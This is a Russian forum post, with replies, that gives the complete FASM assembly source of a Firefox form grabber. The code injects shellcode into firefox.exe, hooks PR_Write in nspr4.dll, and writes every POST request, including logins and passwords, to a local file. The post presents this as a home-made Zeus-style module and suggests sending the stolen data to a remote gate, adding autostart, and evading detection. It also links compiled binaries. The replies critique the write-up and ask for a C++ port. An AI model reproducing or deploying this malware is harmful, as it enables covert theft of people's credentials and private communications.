>>>>>>>> Внимание!!! Текс находящийся ниже описывает неописуемо бородатый баян.<<<<<<<< >>>>>>>>>>>>Осторожно. В тексте используется нецензурная лексика на языке Assembler<<<<<<<<<<<< Здравствуйте, дорогие низкоуровневые и высокоинтеллектуальные товарищи. Сегодня расскажу Вам, как извлечь полезную информацию из горячо любимого всеми браузера FireFox, а именно собирать всё, что отправляется POST запросом (логины,пароли,сообщения на форумах и соц.сетях и т.д.) Вывод этого имущества будет производится в файл(у нас будет C:\FireFox.txt) Создадим конкуренцию Зевсу вить у нас получится что-то типа хэнд мэйд модуля для Лисы причём без всяких DLL. Выбирал язык для этих целей с особым извращением. В итоге выбор пал на FASM. Наша цель: перехватить(хукнуть) функцию PR_Write, в которую передаются в качестве параметров GET и POST запросы, а так же много чего интересного. Функция находится в DLL модуле nspr4.dll Это всё было обнаружено путём сложных астрономических вычислений и с помощью утилы API Logger by black ninja. Для осуществления цели нам понадобиться знания тем: 1)Инжект своего кода в исполняемый процесс. 2)Cплайсинг API. 3)И программирование в стиле шелл код.(т.е. с дельта смещением) Желание читать куда-то быстро испарилось? Не беда. Все темы хорошо описаны на wasm.ru , поэтому не вижу смысла тратить время на копи-паст. Ну чтож приступим.... Начнём с зад... извините, с конца, как принято. =) Code: p_ent PROCESSENTRY32 find_target: xor esi,esi .shot: mov [p_ent.dwSize],sizeof.PROCESSENTRY32 invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,esi; <<< Делаем снимок процессов. inc eax je .not_found dec eax xchg eax,edi invoke Process32First,edi,p_ent ; <<< Берём первый процесс из списка. ; <<<<<<< Начинается перебор пока не найдём процесс под названием firefox.exe.>>>>>>>>> .next_prc: xchg eax,ecx jecxz .not_found ; <<< В списке процессов имя FF не найдено поэтому прыгаем на .not_found invoke lstrcmpi,p_ent.szExeFile,target_name ; <<< Сравнивание название процесса и переменная в которой лежит строка "firefox.exe". xchg eax,ecx jecxz .found ; <<< Если нашли прыгаем на метку .found invoke Process32Next,edi,p_ent ; <<< Если строки не равны то берётся следующий процесс из списка. jmp .next_prc .found: ; <<< Вот она Лиса. invoke CloseHandle,edi ; <<< Закрываем хэндл. mov eax,[p_ent.th32ProcessID]; <<< Сохраняем ID процесса в eax. ret .not_found: ; <<< FF не найдена. xor eax,eax ; <<< Обнуляем результат выполнения. ret ; <<<<<<< Окончание поиска firefox.exe. >>>>>>>>> ; <<<<<<< Внедрение кода в процесс firefox.exe. >>>>>>>>> inject_code: xor esi,esi invoke OpenProcess,PROCESS_VM_OPERATION + PROCESS_VM_WRITE + PROCESS_CREATE_THREAD,esi,eax; <<< Берём хэндл процесса FF. xchg eax,ecx jecxz .exit ; <<< Если ошибка то выходим. xchg ecx,edi ; <<< Хэндл процесса перемещается в edi. invoke VirtualAllocEx,edi,esi,thread_end-remote_thread,MEM_COMMIT,PAGE_READWRITE ; <<< Выделяем страничку памяти в процессе. xchg eax,ecx jecxz .close_h ; <<< Если неудача то закрываем хэндл. xchg ecx,ebp ; <<< Хэндл странички перемещается в ebp. invoke WriteProcessMemory,edi,ebp,remote_thread,thread_end-remote_thread,esi; <<< Пишем наш код на выделеную страничку. ;remote_thread - указатель на начало внедряемого кода, remote_thread соответствено конец. dec eax test eax,eax jnz .close_h ; <<< Если неудача то закрываем хэндл. inc eax invoke CreateRemoteThread,edi,esi,esi,ebp,ebp,esi,esi; <<< Бацаем удаленный поток в контексте процесса firefox.exe .close_h: invoke CloseHandle,edi ; <<< Освобождаем хэндл процесса. .exit: ret ; <<<<<<< Внедрение кода в процесс firefox.exe окончено. >>>>>>>>> start: ; <<< Именно здесь начинает выполняться программа. call find_target ; <<< Активизируем поиск процесса FF test eax,eax je .exit ; <<< Не нашли -> Выходим. call inject_code; <<< Инжектимся в процесс FF. .exit: push 0 call [ExitProcess]; <<< The End... No!!! To be continue.
Code: remote_thread: ;<<<<<<<<<<<<< Здесь начинается выполнение удаленного потока в процессе FireFox >>>>>>>>>>>>>>> ;<<<<<<<<Найдём дельта смещение>>>>>>>>>> call delta delta: pop ebp; sub ebp,delta ;<<<<<<<<Дельта смещение теперь находится в ebp>>>>>>>>>> ;"Делта смещение" не страшная штука. Просто его надо добавлять ко всех адресам переменных, если кодиш в стиле шелл кода. ;Вообще шелл кодом называют всё, что внедряется и исполняется в чужом процессе. ;Так же шел коды используются для выполнения команд при переполнении буфера. ;Для таких шелл кодов правила еще строже, например нельзя, чтобы в опкодах были NULL байты, иначе выполнение прекратиться. ;опкод - это шестнадцатеричные(Fuck!) цифры соответствующие асамблерным командам. ;Их можно увидеть с помощью HEX редактора или Дебагера в исполняемом файле exe. jmp First; <<< Перепрыгиваем через переменные. ;<<<<<<<<Секция переменных.>>>>>>>>>> KernelBase dd ? GPAcall dd ? GMHcall dd ? HUser32 dd ? VirtProt dd ? OldProt db ? HMod dd ? hFile dd ? flbytes dd ? CreateFileCall dd ? SetFilePointerCall dd ? WriteFileCall dd ? CloseHandleCall dd ? FuncAdr dd ? eaxrest dd ? esprest dd ? ecxrest dd ? edxrest dd ? ebxrest dd ? edirest dd ? esirest dd ? ebprest dd ? dataadr dd ? datalen dd ? ;<<<<<<<<Секция переменных закончилась.>>>>>>>>>> ;Для писателей на более высоких языках покажется удивительным, что через переменные надо перепрыгивать. Да это дейсвительно так) First: ;<<<<<<<<<<<<< Ниже описан один из способов получения начала модуля KERNEL32.DLL >>>>>>>>>>>>>>> ;Не знаю чьё авторство, и точно знаю, что не моё. ;Начало модуля оно же, хэндл, база и адрес модуля. ;Kernel Base -> xor eax,eax mov eax,[fs:eax+30h] mov eax,[eax+0ch] mov esi,[eax+1ch] lodsd mov eax,[eax+08h] mov [KernelBase+ebp],eax ;Kernel Export -> mov edi,eax add edi,[eax+3ch]; NTHeader add edi,78h; DataDirectory mov esi,[edi] add eax,esi ;Addres of GetProcAddress in [GPA] mov ebx,[eax+IMAGE_EXPORT_DIRECTORY.AddressOfNames] add ebx,[KernelBase+ebp] mov edx,1 _find: push ebx mov ecx,14 mov eax,[ebx] add eax,[KernelBase+ebp] mov esi,eax lea edi,[GPA+ebp] cld repe cmpsb jz _ok pop ebx add ebx,4 inc edx jmp _find _ok: xor eax,eax mov eax,[KernelBase+ebp] ;Kernel Export -> mov edi,eax add edi,[eax+3ch]; NTHeader add edi,78h; DataDirectory mov esi,[edi] add eax,esi ;--- mov ebx,[eax+IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals] add ebx,[KernelBase+ebp] shl edx,1 add ebx,edx mov edx,[ebx] movzx ebx,dx ;------------ sub ebx,1 shl ebx,2 mov eax,[eax+IMAGE_EXPORT_DIRECTORY.AddressOfFunctions] add eax,[KernelBase+ebp] add eax,ebx mov ecx,[eax] add ecx,[KernelBase+ebp] mov [GPAcall+ebp],ecx pop ecx ;----------------End Get Address of GetProcAddress-------- lea ecx,[GMH+ebp] lea edx,[KernelBase+ebp] mov edx,[edx] push ecx push edx call [GPAcall+ebp] mov [GMHcall+ebp],eax ;-------------End Get Address of GetModuleHanle-------- ;<<<<<<<<<< Отсюда начинаются собственные разработки >>>>>>>>>>>>>>>>> ;<<<<<<<<<< Получаем адреса WinAPI функций используемых в коде>>>>>>>>>>>>>>>>> ;Получение адресов нужно, потому что мы инжектили код без Таблицы Импорта API функций (IAT). mov ecx,USER32; <<< В ECX помещается имя модуля, в качестве параметра. call GetModHandle; <<< Вызов самопальной метки, которая возвращает хэндл модуля. mov [HUser32+ebp],eax ;----------------- Handle of User32.dll ---------------- mov ecx,VirtualProt;<<< В ECX помещается имя функции, в качестве параметра. mov eax,KernelBase;<<< В EAX помещается хэндл модуля, в которой находится функа, в качестве параметра. call GetAddr; <<< Вызов самопальной метки, которая возвращает адрес API функции. mov [VirtProt+ebp],eax ;----------------- VirtualProtect ----------------- mov ecx,CreateFileStr mov eax,KernelBase call GetAddr mov [CreateFileCall+ebp],eax ;---------------- CreatFileA --------------------- mov ecx,SetFilePointerStr mov eax,KernelBase call GetAddr mov [SetFilePointerCall+ebp],eax ;----------------- SetFilePointer ------------------ mov ecx,WriteFileStr mov eax,KernelBase call GetAddr mov [WriteFileCall+ebp],eax ;------------------ WriteFile ------------------- mov ecx,CloseHandleStr mov eax,KernelBase call GetAddr mov [CloseHandleCall+ebp],eax ;---------------------- CloseHandle ---------------------- ;<<<<<<<<<< Получили все WinAPI функции>>>>>>>>>>>>>>>>> ;<<<<<<<<<< Установка перехвата>>>>>>>>>>>>>>>>> push NPR ; <<< Пихаем в стёк адрес на который будет происходить JMP push PR_WriteStr; <<< Название перехватываемой функции push nspr4; <<< Название модуля перехватываемой функции call HookAPI; <<< Вызов установки перехвата. (Метка ниже) ret ; <<< Удалённый поток заканчивается. ;<<<<<<<<<< Установка перехвата закончена>>>>>>>>>>>>>>>>> ;<<<<<<<<<< Этот код выполняется при вызове функции PR_Write(...) в контексте FireFox >>>>>>>>>>>>>>>>> NPR: ;>>>>>>>>>>>>>>>>Так называемый brige или по нашенски мостик<<<<<<<<<<<<<<<<<< mov eax, dword[ss:esp+4] mov ecx, dword [ds:eax] ;>>>>>>>>>>>>>>>>В мостике находятся первые затёртые команды из хукнутой функции<<<<<<<<<<<<<<<<<< ; Мостик нужен для того чтобы не переписывать начало функции по сто раз, что вызывает ошибки в многопоточных приложениях. ;>>>>>>>>>>>>>>>> Знакомая дельта)<<<<<<<<<<<<<<<<<< call deltax deltax: pop edx; sub edx,deltax ;>>>>>>>>>>>>>>>>Delta<<<<<<<<<<<<<<<<<< ;>>>>>>>>>>>>>>>>Сохраняем регистры, чтобы никто не заметил следов, что мы побывали у них дома.<<<<<<<<<<<<<<<<<< mov [ebxrest+edx],ebx mov [edirest+edx],edi mov [esirest+edx],esi mov [ecxrest+edx],ecx mov [ebprest+edx],ebp mov [eaxrest+edx],eax ;>>>>>>>>>>>>>>>>Save registers<<<<<<<<<<<<<<<<<< ;Не хотелось портить стёк. ;>>>>>>>>>>>>>>>>Самая ответственная часть, здесь копируем параметры функции<<<<<<<<<<<<<<<<<< mov ebp,edx ; <<< Помещаем дельту в EBP mov eax,[esp+0x08]; <<< Кладём в EAX адрес начала строки запроса. .if dword [eax]<>'POST'; <<< Начинается ли запрос на POST? jmp NoWork; <<< Если нет, скачем на метку NoWork .endif <<< Если нашли POST то продолжаем выполнять. mov [dataadr+ebp],eax; <<< В dataadr адрес начала строки запроса. mov eax,[esp+0x0C]; <<< В EAX длина запроса mov [datalen+ebp],eax; <<< Теперь в datalen push [dataadr+ebp]; <<< Кладём в стёк параметр(начала строки запроса) push [datalen+ebp]; <<< Кладём в стёк параметр(длина запроса) call WriteToFile; <<< Прыгаем на метку WriteToFile NoWork: mov edx,ebp; <<< Возвращаем дельту на место (знаю можно xchg) ;>>>>>>>>>>>>>>>>Get params PR_Write<<<<<<<<<<<<<<<<<< ;>>>>>>>>>>>>>>>>Восстанавливаем регистры<<<<<<<<<<<<<<<<<< mov ebx,[ebxrest+edx] mov edi,[edirest+edx] mov esi,[esirest+edx] mov ecx,[ecxrest+edx] mov ebp,[ebprest+edx] mov eax,[eaxrest+edx] ;>>>>>>>>>>>>>>>>Restore registers<<<<<<<<<<<<<<<<<< ;Не востанавливаю только edx т.к. всё равно в неё потом что то pop'ится :_) ;>>>>>>>>>>>>>>>>Continue func<<<<<<<<<<<<<<<<<< mov edx,[FuncAdr+edx]; <<< В EDX адрес PR_Write() add edx,$06; <<< Прибавляем к edx смещение от начала в котором находятся JMP XXXXXXXX и INC ECX (6 байт опкода) jmp edx ; <<< Джампим на edx ;>>>>>>>>>>>>>>>>Continue func<<<<<<<<<<<<<<<<<< ret
Code: ; Список меток на которые ссылается предыдущий код. GetModHandle: ; <<< мини Самопальная функа для нахождения хендля модулей. Параметр в регистре ecx - имя DLL lea ecx,[ecx+ebp] push ecx call [GMHcall+ebp] ret GetAddr: ; <<< Для поиска адреса API функций. ecx-имя функции, eax-хэндл модуля в котором она расположена lea ecx,[ecx+ebp] push ecx lea eax,[eax+ebp] mov eax,[eax] push eax call [GPAcall+ebp] ret HookAPI: ; <<< Функция установки перехвата(хука) API pop edi ; <<< В edi адрес возврата. pop ecx ; <<< Имя модуля "nspr4.dll" call GetModHandle; <<< Поиск хэндла модуля. mov [HMod+ebp],eax mov eax,HMod; <<< HMod хэндла модуля. pop ecx; <<< Имя функции для перехвата, т.е. "PR_Write" call GetAddr; <<< Получаем адрес функции PR_Write. mov [FuncAdr+ebp],eax; <<< Сохраняем адрес PR_Write в FuncAdr. lea esi,[OldProt+ebp]; <<< Просто переменная для записи invoke VirtProt+ebp,[FuncAdr+ebp],6,PAGE_EXECUTE_READWRITE,esi; <<< Ставим права на запись 6 байт после начала PR_Write. API VirtualProtect. pop edx; <<< Адрес метки на которую будет переходить управление. lea edx,[edx+ebp]; <<< Выравнивание по дельта смещению.(Первый раз понял смысл этих слов :D) sub edx,[FuncAdr+ebp]; <<< O_0 и... и... вычитаем из этого добра адресс PR_Write. sub edx,5; <<< Вобщем формула была взята отсюда http://www.cyberguru.ru/programming/delphi/api-functions-hook-splicing.html xchg eax,edx; <<< Адрес для прыжка на наш код в EAX. mov edx,[FuncAdr+ebp]; <<< В EDX адресс PR_Write. mov byte [edx],$E9; <<< опкод JMP помещается в память по адресу PR_Write. mov dword [edx+1],eax; <<< по адресу PR_Write со смещением в 1 байт помещается адрес метки NPR. mov byte [edx+5],$41 ; <<< смещение 5 байт, опкод INC ECX для того что бы не склеились команды. invoke VirtProt+ebp,[FuncAdr+ebp],6,[esi],esi; <<< Возвращаем памяти её атрибуты. API VirtualProtect. jmp edi; <<< прыгаем на адрес возврата WriteToFile: pop edi; <<< В edi адрес возврата lea edx,[Namef+ebp]; <<< в EDX Путь до файла для записи invoke CreateFileCall+ebp,edx,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ,0h,CREATE_NEW or OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0h ;Создаём или открываем файл. mov [hFile+ebp],eax invoke SetFilePointerCall+ebp,[hFile+ebp],0,0,FILE_END; <<< Устанавливаем указатель на конец файла lea edx,[flbytes+ebp]; <<< Переменная для вывода результата записи. pop ebx; <<< Размер данных для записи. pop ecx; <<< Адрес данных. invoke WriteFileCall+ebp,[hFile+ebp],ecx,ebx,edx,0h; <<< Запись данных в файл. lea ecx,[EndLine+ebp] lea edx,[flbytes+ebp] invoke WriteFileCall+ebp,[hFile+ebp],ecx,1,edx,0h; <<< Запись файл символа окончания строки. lea edx,[hFile+ebp] invoke CloseHandleCall+ebp,[edx]; <<< Закрываем хэндл файла. jmp edi ;<<<<<<<<<< Строковые константы >>>>>>>>>>>>>>>>> EndLine db 0x0A,0 PR_WriteStr db 'PR_Write',0 nspr4 db 'nspr4.dll',0 Namef db 'C:\FireFox.txt',0 CloseHandleStr db 'CloseHandle',0 WriteFileStr db 'WriteFile',0 SetFilePointerStr db 'SetFilePointer',0 CreateFileStr db 'CreateFileA',0 GPA db 'GetProcAddress',0 GMH db 'GetModuleHandleA',0 USER32 db 'user32.dll',0 VirtualProt db 'VirtualProtect',0 ;<<<<<<<<<< Строковые константы >>>>>>>>>>>>>>>>> thread_end: Фух... Вот наша крошка готова к применению. Правда есть несколько минусов. 1) Проверено только на WinXP SP2 т.е. на моей main ОСи. И естественно только на одной версии FireFox, а именно 3.5.7 2) Пробовал запустить на Варьке, но отказалась. Сразу крэш при выполнении первой инструкции в удалёном потоке. Возможно, после WriteProcessMemory надо изменить атрибуты выделенной страницы на исполнение. 3)Если в FF грузится одновременно много страниц, то происходит крушение браузера. Хотя если убрать "Самую ответственую часть" то всёбудет пучком.) 4) Палиться проактивкой. Будем считать, что это защита от применения во вредоносных программах 8) А теперь сладенькое... ``` 1)Размер скомпилированного exe без упаковки 2.5 Кбайта. А если сжать FSG, то будет 1.5 Кбайта. 2)Написан на асамблере -> в скорости нет равных. 3)Можно морфить так что родной автор потом свой сорс не узнает. 4)Обходит SSL шифрование. 5)Не имеет побочных эфектов) Если проявить фантазию то можно посылать награбленный текст мгновенно на гейт с помощью InternetOpenUrlA. Прикрутить автозапуск, сделать инъект в какой-нибудь user процесс, добавить парсер ииииии... просто необходимую вещь как RSA шифрование. И вообще я за open source трояны к такимже open source браузерам. И лучше чтоб троянец писался у них же и распространялся вместе с обновлениями, подтверждая что FF самый безопасный браузер как и самый безопасный секас по телефону.=) Сорцы и скомпиленый пример лежат здесь. pass: 4anti4at Компилятор FASM 1.68 Применение: 1)Запускаем FireFox. 2)Запускаем FF_FormGrabber.exe. 3)Заходим например на https://www.paypal.com/ и логинимся под вымышлеными логином и паролем. 4)Смотрим результат в C:\FireFox.txt Литература: msdn(OMG)com, Рихтер ,Крис Касперски (не путать с Евгением Касперским, а то увидил в коментах его книги "Ты ч0 иди0т эт0ж американский хакер."), цикл статей "Введение в крэкинг с нуля, используя OllyDbg", http://www.it-library.org/articles/?c=7, MS-REM, ну и конечно slesh. Принимаются наставления на путь истинный.
Замечания: 1) Как бы для статьи не катит. Т.е. хоть код и описан, но желательно было бы разбить на отдельные составляющие где описать ход работы и как пашет и небольшие кусочки кода которые это делают. 2) стиль хакер.ru не преветствуется тут. А у тя чуть есть он ) 3) Основной исходник если выкладывашь, то целеком в виде ссылки на скачевания или аттаченного файла. ну или в code но чтобы весть сразу помещался. 4) На Си можно написать меньше и быстрее по скорости. ты забываешь то, что сишный компилятор умеет оптимизировать код так, так на асме хрен додумаешься до этого.
О, спасибо. Как раз читал про Сплайсинг, но там бы код на С++) Но спасибо Статью оформи нормально. P.S.: Приведи пример кода на С++, если не сложно!
2 _antony Посмотрев на твою тему, вижу что текст там вообще не употребляешь. Приведи пример нормального текста пожалуйста. 2 slesh Спасибо за критику. Хотелось как-то разбавить сухость. Поможешь Tigger? Я в С полный 0. Заодно посмотрю как компактно выглядит код. И в следующий раз обязательно разабью.
побойся бога, прога в три строки кода, две из которых шелл код.. не нужен ни какой си, фасм самое то.
Про кучу текста уже понял, с первого поста. Если кто-то захочет высказать эту удивительную мысль ещё раз, то я поверю в колективный разум.) Вообщем не надо флуда. Если есть конкретные предложения по поправке КОДА, то принимаються любые корективы. Или кто осмелиться переписать код на Си буду только рад.